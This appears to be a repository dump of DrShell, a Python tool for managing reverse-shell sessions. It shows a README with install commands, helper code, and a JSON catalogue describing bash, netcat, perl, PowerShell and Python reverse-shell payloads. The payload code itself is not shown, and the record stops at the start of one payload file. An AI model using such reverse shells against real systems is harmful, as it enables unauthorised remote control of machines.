├── .gitignore ├── LICENSE ├── README.md ├── db ├── __init__.py ├── database.py ├── modules │ └── modules.db ├── modules_drdata_base.json ├── sortPaths.py └── utils.py ├── images ├── 1.jpg ├── 2.jpg ├── 3.jpg ├── 4.jpg └── 5.jpg ├── main.py ├── modules ├── __init__.py └── payloads │ ├── bash │ ├── bash196.py │ ├── bash5.py │ ├── bash_i.py │ ├── bash_read_line.py │ └── bash_udp.py │ ├── linux │ └── curl.py │ ├── netcat │ ├── busybox_nx_e.py │ ├── nc_c.py │ ├── nc_e.py │ ├── nc_mkfifo.py │ ├── ncat_e.py │ ├── ncat_udp.py │ └── rustcat.py │ ├── perl │ ├── perl.py │ └── perl_on_sh.py │ ├── powershell │ ├── base64_reverse_shell.py │ ├── reverse_shell_tls.py │ └── reverse_tcp_v1.py │ ├── python │ ├── env_python_shell.py │ ├── python3subprocess_shell.py │ ├── reverse_shell.py │ └── subprosess_shell.py │ └── zsh.py ├── requirements.txt └── src ├── __init__.py └── core ├── encoders.py ├── server.py └── shell.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 158 | # and can be added to the global gitignore or merged into this file. For a more nuclear 159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 160 | #.idea/ 161 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Dr Data 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DrShell: A Reverse Shell Session Manager 🌐 2 | 3 | Welcome to the exhilarating world of DrShell! 🎉 DrShell is a cutting-edge tool designed for the dynamic management of reverse shell sessions. Whether you are a seasoned security professional, a network administrator, or a cybersecurity enthusiast, DrShell equips you with the necessary arsenal to monitor and control your reverse shell environments effectively and stylishly. 4 | 5 | ## Features 🌟 6 | 7 | DrShell allows you to handle multiple reverse shell sessions seamlessly. Here's a breakdown of its core functionalities: 8 | 9 | - **Multiple Shell Management**: Toggle between various active reverse shell sessions with ease. 10 | - **SignalShell Multi-Handler**: Custom signal handling for advanced session controls. 11 | - **Netcat TCP Multi-Handler**: Robust TCP handling capabilities for traditional reverse shell operations. 12 | - **HTTP File Smuggler**: Simplified and powerful HTTP-based file smuggling. 13 | 14 | ## Installation 🛠️ 15 | 16 | DrShell is readily installable on both Linux and Termux environments using just a couple of commands: 17 | 18 | ### For Linux: 19 | 20 | ```bash 21 | wget https://github.com/DrDataYE/DrShell/releases/download/drshell/drshell_1.0.1_all_linux_beta.deb -O drshell_1.0.1_all_linux_beta.deb && sudo dpkg -i drshell_1.0.1_all_linux_beta.deb 22 | ``` 23 | 24 | ### For Termux: 25 | 26 | ```bash 27 | pkg install wget -y &&pkg install python3 -y &&wget https://github.com/DrDataYE/DrShell/releases/download/drshell/drshell_1.0.1_all_termux_beta.deb -O drshell_1.0.1_all_termux_beta.deb && dpkg -i drshell_1.0.1_all_termux_beta.deb 28 | ``` 29 | 30 | ## Usage 🚀 31 | 32 | Fire up DrShell and take control of your reverse shell sessions in no time! Here's how you can get started: 33 | 34 | ```bash 35 | drshell -h 36 | ``` 37 | 38 | This command will show you all the options available: 39 | 40 | ``` 41 | usage: drshell [-h] [-p PORT] [-x SIGNAL_PORT] [-n NETCAT_PORT] [-f FILE_SMUGGLER_PORT] 42 | 43 | DrShell Command Line 44 | 45 | options: 46 | -h, --help show this help message and exit 47 | -p PORT, --port PORT Port for the Team Server 48 | -x SIGNAL_PORT, --signal_port SIGNAL_PORT 49 | Port for the signalShell Multi-Handler 50 | -n NETCAT_PORT, --netcat_port NETCAT_PORT 51 | Port for the Netcat TCP Multi-Handler 52 | -f FILE_SMUGGLER_PORT, --file_smuggler_port FILE_SMUGGLER_PORT 53 | Port for the HTTP File Smuggler 54 | ``` 55 | 56 | ## Exciting Screenshots 📸 57 | 58 | Here are some snapshots to guide you through the various phases of using DrShell: 59 | 60 | - **Launching DrShell**: 61 | ![Launching DrShell](./images/1.jpg) 62 | 63 | - **Choosing a Payload**: 64 | ![Choosing a Payload](./images/2.jpg) 65 | 66 | - **Setting Payload Options and Launching**: 67 | ![Payload Settings](./images/3.jpg) 68 | 69 | - **New Session Notification**: 70 | ![New Session](./images/4.jpg) 71 | 72 | - **Interacting with a Session**: 73 | ![Session Interaction](./images/5.jpg) 74 | 75 | ## Legal Disclaimer ⚖️ 76 | 77 | DrShell is intended for educational and lawful purposes only, such as penetration testing authorized systems and training exercises. 📚🔒 78 | 79 | **Using DrShell for unauthorized access to devices or networks is illegal and unethical.** 🚫 Misuse of DrShell can result in criminal charges brought against the persons in question. Compliance with all applicable laws is the responsibility of the user. Remember, with great power comes great responsibility! 80 | 81 | ## Dive In! 🌊 82 | 83 | Prepare to transform your network security and session management capabilities with DrShell. Download it today, and unlock the full potential of your cybersecurity toolkit! 84 | 85 | 🎯 **Happy Hacking!** 🎯 86 | -------------------------------------------------------------------------------- /db/__init__.py: -------------------------------------------------------------------------------- 1 | from .sortPaths import Sort 2 | 3 | __all__ = [ 4 | 'Sort' 5 | ] -------------------------------------------------------------------------------- /db/database.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | 3 | 4 | class Database: 5 | def __init__(self) -> None: 6 | self.conn = sqlite3.connect("./db/modules/modules.db") 7 | print("Opened database successfully") 8 | 9 | def table(self): 10 | self.conn.execute( 11 | """CREATE TABLE COMPANY 12 | (ID INT PRIMARY KEY NOT NULL, 13 | NAME TEXT NOT NULL, 14 | AGE INT NOT NULL, 15 | ADDRESS CHAR(50), 16 | SALARY REAL);""" 17 | ) 18 | print("Table created successfully") 19 | 20 | def execute(self): 21 | self.conn.execute( 22 | "INSERT INTO COMPANY (ID,NAME,AGE,ADDRESS,SALARY) \ 23 | VALUES (1, 'Paul', 32, 'California', 20000.00 )" 24 | ) 25 | self.conn.commit() 26 | print("Records created successfully") 27 | 28 | def close(self): 29 | self.conn.close() 30 | -------------------------------------------------------------------------------- /db/modules/modules.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DrDataYE/DrShell/92b90c4ae65675fa97417b4d4ecc4df55dcd01d4/db/modules/modules.db -------------------------------------------------------------------------------- /db/modules_drdata_base.json: -------------------------------------------------------------------------------- 1 | {"./modules/payloads/zsh.py": {"name": "SignalShell ZSH Reverse Shell", "description": "An HTTP-based beacon-like reverse shell that writes and executes commands from disk.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for commands", "required": false, "default": "http"}}}, "./modules/payloads/bash/bash196.py": {"name": "DirectTCPShell Reverse Shell", "description": "A direct TCP-based reverse shell that establishes a raw socket connection for executing commands remotely.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/bash/bash5.py": {"name": "BashTCPShell Reverse Shell", "description": "A Bash-based reverse shell that uses TCP redirection to execute commands remotely, utilizing file descriptor manipulation.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/bash/bash_i.py": {"name": "BashTCPShell Reverse Shell", "description": "A Bash-based reverse shell that uses /dev/tcp to execute commands remotely and redirect output.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming TCP connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/bash/bash_read_line.py": {"name": "TCPCommandExec Shell", "description": "A TCP-based command execution shell that reads and executes commands remotely using Bash and /dev/tcp.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the TCP connection", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming TCP connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/bash/bash_udp.py": {"name": "UDPBashShell Reverse Shell", "description": "A UDP-based reverse shell that executes commands remotely via Bash and /dev/udp.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming UDP connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/linux/curl.py": {"name": "CurlShell Reverse Shell", "description": "A Curl-based reverse shell that establishes a connection to execute commands remotely via telnet.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "http"}}}, "./modules/payloads/netcat/busybox_nx_e.py": {"name": "BusyboxNetcatShell Reverse Shell", "description": "A reverse shell utilizing Busybox Netcat to execute commands on the target host remotely.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/netcat/ncat_e.py": {"name": "NetcatShell Reverse Shell", "description": "A simple Netcat-based reverse shell that establishes a remote command execution session.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/netcat/ncat_udp.py": {"name": "UnixShell Reverse Shell", "description": "A Unix-based reverse shell that uses named pipes and netcat to execute commands remotely.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/netcat/nc_c.py": {"name": "NetcatSHShell Reverse Shell", "description": "A Netcat-based reverse shell that uses a simple shell to execute commands on the remote host.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/netcat/nc_e.py": {"name": "NetcatShell Reverse Shell", "description": "A Netcat-based reverse shell that establishes a remote command execution session using the simple Unix shell.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/netcat/nc_mkfifo.py": {"name": "NetcatPipeShell Reverse Shell", "description": "A Unix-based reverse shell that utilizes netcat and named pipes for remote command execution.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/netcat/rustcat.py": {"name": "ShellConnect Reverse Shell", "description": "A simple command-line tool to establish a reverse shell connection using rcat, facilitating remote command execution.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/perl/perl.py": {"name": "SignalShell Perl Reverse Shell", "description": "A Perl-based reverse shell that enables command execution from a remote location.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for the shell", "required": false, "default": "http"}}}, "./modules/payloads/perl/perl_on_sh.py": {"name": "SignalShell Perl Reverse Shell", "description": "A Perl-based reverse shell that connects to a specified host and port to execute commands remotely.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for the shell", "required": false, "default": "http"}}}, "./modules/payloads/powershell/base64_reverse_shell.py": {"name": "Windows PowerShell outfile SignalShell", "description": "An Http based beacon-like reverse shell that writes and executes commands from disc", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "CIL", "references": [{"type": "url", "ref": ["https://github.com/t3l3machus/hoaxshell", "https://revshells.com"]}], "options": {"lhost": {"type": "address", "description": "Target address", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "FTP port", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Path to file with list of usernames", "required": false, "default": "http"}}}, "./modules/payloads/powershell/reverse_shell_tls.py": {"name": "Windows PowerShell outfile SignalShell", "description": "An Http based beacon-like reverse shell that writes and executes commands from disc", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "CIL", "references": [{"type": "url", "ref": ["https://github.com/t3l3machus/hoaxshell", "https://revshells.com"]}], "options": {"lhost": {"type": "address", "description": "Target address", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "FTP port", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Path to file with list of usernames", "required": false, "default": "http"}}}, "./modules/payloads/powershell/reverse_tcp_v1.py": {"name": "SignalShell PowerShell Reverse Shell", "description": "A PowerShell-based reverse shell that executes commands remotely and manages interaction over HTTP.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address", "required": true, "default": "0.0.0.0"}, "lport": {"type": "int", "description": "Listening port for incoming connections", "required": false, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for the shell", "required": false, "default": "http"}}}, "./modules/payloads/python/env_python_shell.py": {"name": "EnvPythonShell Reverse Shell", "description": "A Python-based reverse shell that utilizes environment variables for configuration and the pty module to spawn a shell.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "127.0.0.1"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": true, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/python/python3subprocess_shell.py": {"name": "PythonSubprocessShell Reverse Shell", "description": "A Python-based reverse shell that establishes a socket connection and spawns a shell, redirecting standard streams through the socket using the pty module.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "127.0.0.1"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": true, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/python/reverse_shell.py": {"name": "PythonShell Reverse Shell", "description": "A Python-based reverse shell that creates a socket connection and spawns a shell using the pty module.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "172.25.82.128"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": true, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}, "./modules/payloads/python/subprosess_shell.py": {"name": "SubprocessShell Reverse Shell", "description": "A Python-based reverse shell that uses the subprocess and socket modules to establish a remote shell connection.", "authors": ["DrDataYE"], "date": "2023-04-01", "license": "Custom Intellectual License", "references": [{"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, {"type": "url", "ref": "https://revshells.com"}], "options": {"lhost": {"type": "address", "description": "Target host address for the reverse shell connection", "required": true, "default": "127.0.0.1"}, "lport": {"type": "int", "description": "Listening port on the target host for incoming connections", "required": true, "default": 6501}, "encode": {"type": "string", "description": "Encoding method for transmitted commands", "required": false, "default": "utf-8"}}}} -------------------------------------------------------------------------------- /db/sortPaths.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | 4 | 5 | class Sort: 6 | def __init__(self) -> None: 7 | pass 8 | 9 | def listpath(self, path="./modules"): 10 | lists = [] 11 | for root, dirs, files in os.walk(path): 12 | for name in files: 13 | if os.path.isfile(os.path.join(root, name)): 14 | lists.append(os.path.join(root, name)) 15 | return lists 16 | 17 | def drdata(self): 18 | paths = self.listpath() 19 | dicts = {} 20 | for p in paths: 21 | imported_vars = {} 22 | try: 23 | exec(open(p).read(), imported_vars) 24 | # print(imported_vars["metadata"]) 25 | except: 26 | continue 27 | if "metadata" in imported_vars: 28 | metadata_var = imported_vars["metadata"] 29 | # قم بمعالجة المتغير هنا 30 | dicts.update({p: metadata_var}) 31 | return dicts 32 | 33 | def woriteJsonFile(self): 34 | with open("db/modules_drdata_base.json", "w") as f: 35 | json.dump(self.drdata(), f) 36 | 37 | def readJsonFile(self): 38 | with open("db/modules_drdata_base.json") as f: 39 | return json.load(f) 40 | 41 | def readDirs(self): 42 | modsum = {} 43 | names = 0 44 | self.woriteJsonFile() 45 | pTest = self.readJsonFile() 46 | 47 | for path in os.listdir("./modules"): 48 | x = 0 49 | for root, dirs, files in os.walk(os.path.join("./modules", path)): 50 | for file in files: 51 | if os.path.join(root, file) in pTest: 52 | x += 1 53 | modsum.update({path: int(x)}) 54 | return modsum 55 | 56 | def listmodules(self): 57 | lists = [] 58 | x = self.readJsonFile() 59 | 60 | for i in x: 61 | lists.append(str("".join(i).replace(".py", "").replace("./modules/", ""))) 62 | # print(lists) 63 | return lists 64 | -------------------------------------------------------------------------------- /db/utils.py: -------------------------------------------------------------------------------- 1 | def search_json(json_data, search_word): 2 | results = [] 3 | 4 | if isinstance(json_data, dict): 5 | search_dict(json_data, search_word.lower(), results) 6 | 7 | return results 8 | 9 | 10 | def search_dict(data, search_word, results, parent_keys=[]): 11 | for key, value in data.items(): 12 | current_keys = parent_keys + [key] 13 | if isinstance(value, dict): 14 | search_dict(value, search_word, results, current_keys) 15 | elif isinstance(value, list): 16 | search_list(value, search_word, results, current_keys) 17 | elif isinstance(value, str) and search_word in value.lower(): 18 | results.append( 19 | {"keys": current_keys, "value": value, "search_word": search_word} 20 | ) 21 | 22 | 23 | def search_list(data_list, search_word, results, parent_keys=[]): 24 | for index, item in enumerate(data_list): 25 | current_keys = parent_keys + [str(index)] 26 | if isinstance(item, dict): 27 | search_dict(item, search_word, results, current_keys) 28 | elif isinstance(item, list): 29 | search_list(item, search_word, results, current_keys) 30 | elif isinstance(item, str) and search_word in item.lower(): 31 | results.append( 32 | {"keys": current_keys, "value": item, "search_word": search_word} 33 | ) 34 | -------------------------------------------------------------------------------- /images/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DrDataYE/DrShell/92b90c4ae65675fa97417b4d4ecc4df55dcd01d4/images/1.jpg -------------------------------------------------------------------------------- /images/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DrDataYE/DrShell/92b90c4ae65675fa97417b4d4ecc4df55dcd01d4/images/2.jpg -------------------------------------------------------------------------------- /images/3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DrDataYE/DrShell/92b90c4ae65675fa97417b4d4ecc4df55dcd01d4/images/3.jpg -------------------------------------------------------------------------------- /images/4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DrDataYE/DrShell/92b90c4ae65675fa97417b4d4ecc4df55dcd01d4/images/4.jpg -------------------------------------------------------------------------------- /images/5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DrDataYE/DrShell/92b90c4ae65675fa97417b4d4ecc4df55dcd01d4/images/5.jpg -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import time 2 | from db import Sort 3 | from src import main, console 4 | 5 | 6 | if __name__ == "__main__": 7 | S = Sort() 8 | with console.status( 9 | "[bold] DrShell Framework is starting ...", spinner="aesthetic" 10 | ) as status: 11 | S.woriteJsonFile() 12 | time.sleep(1) 13 | main() 14 | -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DrDataYE/DrShell/92b90c4ae65675fa97417b4d4ecc4df55dcd01d4/modules/__init__.py -------------------------------------------------------------------------------- /modules/payloads/bash/bash196.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a direct TCP-based reverse shell tool 6 | metadata = { 7 | "name": "DirectTCPShell Reverse Shell", 8 | "description": "A direct TCP-based reverse shell that establishes a raw socket connection for executing commands remotely.", 9 | "authors": 